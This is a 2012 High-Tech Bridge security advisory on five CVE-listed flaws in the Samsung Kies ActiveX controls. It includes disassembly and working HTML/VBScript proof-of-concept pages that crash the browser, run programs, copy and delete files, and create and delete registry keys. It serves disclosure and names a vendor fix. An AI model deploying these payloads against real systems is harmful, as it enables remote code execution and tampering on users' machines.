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Samsung Kies 2.3.2.12054_20 - Multiple Vulnerabilities

Samsung Kies 2.3.2.12054_20 - Multiple Vulnerabilities

Published on 2012-10-16

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Advisory ID: HTB23099

Product: Samsung Kies

Vendor: Samsung Electronics

Vulnerable Version(s): 2.3.2.12054_20 and probably prior

Tested Version: 2.3.2.12054_20

Vendor Notification: June 25, 2012 

Public Disclosure: October 15, 2012 

Vulnerability Type: NULL Pointer Dereference [CWE-476], Improper Access Control [CWE-284], Improper Access Control [CWE-284], Improper Access Control [CWE-284], Improper Access Control [CWE-284]

CVE References: CVE-2012-3806, CVE-2012-3807, CVE-2012-3808, CVE-2012-3809, CVE-2012-3810

CVSSv2 Base Scores: 4.3 (AV:N/AC:M/Au:N/C:N/I:N/A:P), 6.8 (AV:N/AC:M/Au:N/C:P/I:P/A:P), 5.8 (AV:N/AC:M/Au:N/C:N/I:P/A:P),  5.8 (AV:N/AC:M/Au:N/C:N/I:P/A:P),  5.8 (AV:N/AC:M/Au:N/C:N/I:P/A:P)

Solution Status: Fixed by Vendor

Risk Level: Medium 

Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 



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Advisory Details:



High-Tech Bridge Security Research Lab has discovered multiple vulnerabilities in Samsung Kies synchronization utility that allows remote attacker to compromise affected system, execute and modify arbitrary files, modify arbitrary directories and modify System Registry with privileges of the current user. 





1) Null Pointer Dereference in Samsung Kies: CVE-2012-3806



The vulnerability exists due to a null pointer dereference error in GetDataTable() method within the Samsung.DeviceService.DCA.DeviceDataParagonATGM.1 ActiveX control (DCAPARAGONGM.dll, GUID {7650BC47-036D-4D5B-95B4-9D622C8D00A4}, located by default in "C:\Program Files(x86)\Samsung\Kies\External\DeviceModules\"). A remote attacker can pass "tagDATATABLE_SUID" argument equal to 0 to the GetDataTable() method and rise an ACCESS_VIOLATION exception on a MOV EDX,[EAX] instruction, as EAX is previously zeroed by an unexpected NULL value in the memory region pointed by ECX:





Disassembly:

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2A22B95               MOV ECX,[EBP+10]

2A22B98               MOV EAX,[ECX]

2A22B9A              MOV EDX,[EAX]                  //  Crash through

Null Pointer Dereference

2A22B9C              PUSH 0

2A22B9E               PUSH 0

2A22BA0              PUSH 2A71E68

2A22BA5              PUSH EAX

2A22BA6              MOV EAX,[EDX+50]

2A22BA9              CALL EAX



Registers:

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EIP 02A22B9A

EAX 00000000

EBX 02A66774 -> 029E58F0

ECX 0022EBC0 -> 00000000

EDX 006DFCE2 -> 00030000

EDI 00000000

ESI 00000000

EBP 0022EB5C -> 0022EB7C

ESP 0022EB38 -> F2D508FE







The following Proof of Concept code causes a browser to crash:





<html>

<!-- (c)oded by Frederic Bourla, High-Tech Bridge -->

   <head>

     <title>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</title>

   </head>

   <script language='vbscript'>

     Sub daPoC()

                   arg1=0

                   daTarget.GetDataTable arg1

     End Sub

   </script>

   <body>

     <h3>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</h3>

                 <h4>Null Pointer Dereference PoC</h4>

                 <hr>

                 This simple PoC will crash Internet Explorer.<BR><BR>

     <input language=VBScript onclick=daPoC() type=button value="Proof of Concept">

   </body>

   <object classid='clsid:7650BC47-036D-4D5B-95B4-9D622C8D00A4'

id='daTarget'></object>

</html>







2) Arbitrary File Execution in Samsung Kies: CVE-2012-3807



The CmdAgent.dll library, located by default in "C:\Program Files (x86)\Samsung\Kies\External\FirmwareUpdate\", has numerous arbitrary file execution vulnerabilities present in "CmdAgentLib" (GUID: {1FA56F8D-A66E-4ABD-9BC9-6F61469E59AD}), in particular in the 'ICommandAgent' interface of the "CommandAgent" class (GUID: {C668B648-A2BD-432C-854F-C8C0A275E1F1}). This default "ICommandAgent" interface has multiple functions and methods, and most of them can be leveraged by an untrusted source.





Arbitrary File Execution:



Run                                  => Vulnerable

RunAt                                => Initial Exploit Test failed

RunAtNotExit                         => Initial Exploit Test failed

RunNotExit                           => Vulnerable







Arbitrary File Execution Proof of Concept:





<html>

<!-- (c)oded by Frederic Bourla, High-Tech Bridge -->

   <head>

     <title>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</title>

   </head>

   <script language='vbscript'>

     Sub daPoC()

       daFile="iexplore https://www.htbridge.com/advisory/HTB23099"

       daTarget.Run daFile

     End Sub

   </script>

   <body>

     <h3>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</h3>

     <h4>Arbitrary File Execution PoC</h4>

                 <hr>

                 This simple PoC will spawn IE and display more information about the vulnerability.<BR><BR>

     <input language=VBScript onclick=daPoC() type=button value="Proof of Concept">

   </body>

   <object classid='clsid:C668B648-A2BD-432C-854F-C8C0A275E1F1' id='daTarget'></object>

</html>







3) Arbitrary File Modification in Samsung Kies: CVE-2012-3808



The CmdAgent.dll library, located by default in "C:\Program Files (x86)\Samsung\Kies\External\FirmwareUpdate\", has numerous arbitrary file modification vulnerabilities present in "CmdAgentLib" (GUID: {1FA56F8D-A66E-4ABD-9BC9-6F61469E59AD}), in particular in the 'ICommandAgent' interface of the "CommandAgent" class (GUID: {C668B648-A2BD-432C-854F-C8C0A275E1F1}). This default "ICommandAgent" interface has multiple functions and methods, and most of them can be leveraged by an untrusted source.





Arbitrary File Modification:



FileCopy                             => Vulnerable

FileCopySync                         => Vulnerable

FileDelete                           => Vulnerable

FileMove                             => Vulnerable

FileMoveExReboot                     => Initial Exploit Test failed

FileMoveSync                         => Vulnerable







Arbitrary File Modification Proof of Concept:





<html>

<!-- (c)oded by Frederic Bourla, High-Tech Bridge -->

   <head>

     <title>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</title>

   </head>

   <script language='vbscript'>

     Set daShell = CreateObject( "WScript.Shell" )

     daRoot=daShell.ExpandEnvironmentStrings("%SystemRoot%")

     daFileCopySource=daRoot & "\System32\drivers\etc\hosts" daProfile=daShell.ExpandEnvironmentStrings("%USERPROFILE%")

     daFileCopyDest=daprofile & "\Desktop\hosts"

     daFileMoveDest=daprofile & "\Desktop\hosts.backup"

     Sub daPoC()

       daTarget.FileCopy daFileCopySource, daFileCopyDest

     End Sub

     Sub daPoC2()

       daTarget.FileMoveSync daFileCopyDest, daFileMoveDest

     End Sub

     Sub daPoC3()

       daTarget.FileDelete daFileMoveDest

     End Sub

   </script>

   <body>

     <h3>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</h3>

                 <h4>Arbitrary File Modification PoC</h4>

                 <hr>

                 This simple PoC will copy your <script language='vbscript'>document.write(daFileCopySource)</script> file into your desktop.<BR><BR>

      <input language=VBScript onclick=daPoC() type=button value="Proof of Concept">

                 <hr>

                 This simple PoC will move your <script language='vbscript'>document.write(daFileCopyDest)</script> file into <script language='vbscript'>document.write(daFileMoveDest)</script>.<BR><BR>

     <input language=VBScript onclick=daPoC2() type=button value="Proof

of Concept">

                 <hr>

                 This simple PoC will delete <script language='vbscript'>document.write(daFileMoveDest)</script>.<BR><BR>

     <input language=VBScript onclick=daPoC3() type=button value="Proof of Concept">

   </body>

   <object classid='clsid:C668B648-A2BD-432C-854F-C8C0A275E1F1' id='daTarget'></object>



</html>







4) Arbitrary Directory Modification in Samsung Kies: CVE-2012-3809



The CmdAgent.dll library, located by default in "C:\Program Files (x86)\Samsung\Kies\External\FirmwareUpdate\", has numerous arbitrary directory modification vulnerabilities present in "CmdAgentLib" (GUID: {1FA56F8D-A66E-4ABD-9BC9-6F61469E59AD}), in particular in the 'ICommandAgent' interface of the "CommandAgent" class (GUID: {C668B648-A2BD-432C-854F-C8C0A275E1F1}). This default "ICommandAgent" interface has multiple functions and methods, and most of them can be leveraged by an untrusted source.





Arbitrary Directory Modification:



DirCreate                            => Vulnerable

DirDelete                            => Vulnerable







Arbitrary Directory Modification Proof of Concept:





<html>

<!-- (c)oded by Frederic Bourla, High-Tech Bridge -->

   <head>

     <title>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</title>

   </head>

   <script language='vbscript'>

     Set daShell = CreateObject( "WScript.Shell" )

     daProfile=daShell.ExpandEnvironmentStrings("%USERPROFILE%")

     daDir=daprofile & "\Desktop\FRoGito"

     Sub daPoC()

       daTarget.DirCreate daDir

     End Sub

     Sub daPoC2()

       daTarget.DirDelete daDir

     End Sub

   </script>

   <body>

     <h3>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</h3>

                 <h4>Arbitrary Directory Modification PoC</h4>

                 <hr>

                 This simple PoC will create the <script language='vbscript'>document.write(daDir)</script> directory.<BR><BR>

     <input language=VBScript onclick=daPoC() type=button value="Proof of Concept">

                 <hr>

                 This simple PoC will delete the <script language='vbscript'>document.write(daDir)</script> directory.<BR><BR>

     <input language=VBScript onclick=daPoC2() type=button value="Proof of Concept">

   </body>

   <object classid='clsid:C668B648-A2BD-432C-854F-C8C0A275E1F1' id='daTarget'></object>

</html>







5) Arbitrary Registry Modification in Samsung Kies: CVE-2012-3810



The CmdAgent.dll library, located by default in "C:\Program Files (x86)\Samsung\Kies\External\FirmwareUpdate\", has numerous Registry modification vulnerabilities present in "CmdAgentLib" (GUID: {1FA56F8D-A66E-4ABD-9BC9-6F61469E59AD}), in particular in the 'ICommandAgent' interface of the "CommandAgent" class (GUID: {C668B648-A2BD-432C-854F-C8C0A275E1F1}). This default "ICommandAgent" interface has multiple functions and methods, and most of them can be leveraged by an untrusted source.





Arbitrary Registry Modification:



RegiCreateKey                        => Vulnerable

RegiDeleteKey                        => Vulnerable

RegiDeleteTree                       => Vulnerable

RegiDeleteValue                      => Vulnerable

RegiSetValueInt                      => Vulnerable

RegiSetValueInt64                    => Vulnerable

RegiSetValueString                   => Vulnerable

RegiSetValueString64                 => Vulnerable







Arbitrary Registry Modification Proof of Concept:





<html>

<!-- (c)oded by Frederic Bourla, High-Tech Bridge -->

   <head>

     <title>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</title>

   </head>

   <script language="vbscript">

    daReg = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\FRoGito"   



    daValueStrName = "PoC_str"

    daValueStr = "frederic.bourla@htbridge.com"

    daValueIntName = "PoC_int"

    daValueInt = 8080



    Sub daPoC()

      daTarget.RegiCreateKey daReg

    End Sub

    Sub daPoC2()

      daTarget.RegiSetValueString daReg, daValueStrName, daValueStr

    End Sub

    Sub daPoC3()

      daTarget.RegiSetValueInt daReg, daValueIntName, daValueInt

    End Sub

    Sub daPoC4()

      daTarget.RegiDeleteValue daReg, daValueStrName

      daTarget.RegiDeleteValue daReg, daValueIntName

    End Sub

      Sub daPoC5()

      daTarget.RegiDeleteKey daReg

    End Sub



   </script>



   <body>

     <h3>Multiple vulnerabilities in Samsung Kies v.2.3.2.12054_20</h3>

                 <h4>Arbitrary Registry Modification PoC</h4>

                 <hr>

                 This simple PoC will create the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\FRoGito

registry key.<BR><BR>

     <input language=VBScript onclick=daPoC() type=button value="Proof

of Concept">

                 <hr>

                This simple PoC will create the string value 'PoC_str' initialized to 'frederic.bourla@htbridge.com' in the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\FRoGitoregistry key.<BR><BR>

                 <input language=VBScript onclick=daPoC2() type=button value="Proof of Concept">

     <hr>

                 This simple PoC will create the int value 'PoC_int' initialized to 0x1F90 in the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\FRoGito

registry key.

                 <BR><BR>

                 <input language=VBScript onclick=daPoC3() type=button

value="Proof of Concept">

    <hr>

                 This simple PoC will delete both string and hex values from the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\FRoGito registry key

                 <BR><BR>

                 <input language=VBScript onclick=daPoC4() type=button value="Proof of Concept"> 

                 <hr>

                 This simple PoC will delete the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\FRoGito registry key.

                 <BR><BR>

                 <input language=VBScript onclick=daPoC5() type=button value="Proof of Concept">

   </body>

   <object classid='clsid:C668B648-A2BD-432C-854F-C8C0A275E1F1'

id='daTarget'></object>

</html>









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Solution:



Upgrade to KIES v2.5.0.12094_27_11



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References:



[1] High-Tech Bridge Advisory HTB23099 - https://www.htbridge.com/advisory/HTB23099 - Multiple vulnerabilities in Samsung Kies.

[2] Samsung Kies - http://www.samsung.com/ca/support/usefulsoftware/KIES/JSP - Samsung Kies is a freeware software application used to communicate between Windows or Macintosh computers, and more recently-manufactured Samsung mobile phone and tablet computer devices. Kies is Samsung's official tool for Android based devices which allows synchronization and multimedia files management.

[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.

[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. 



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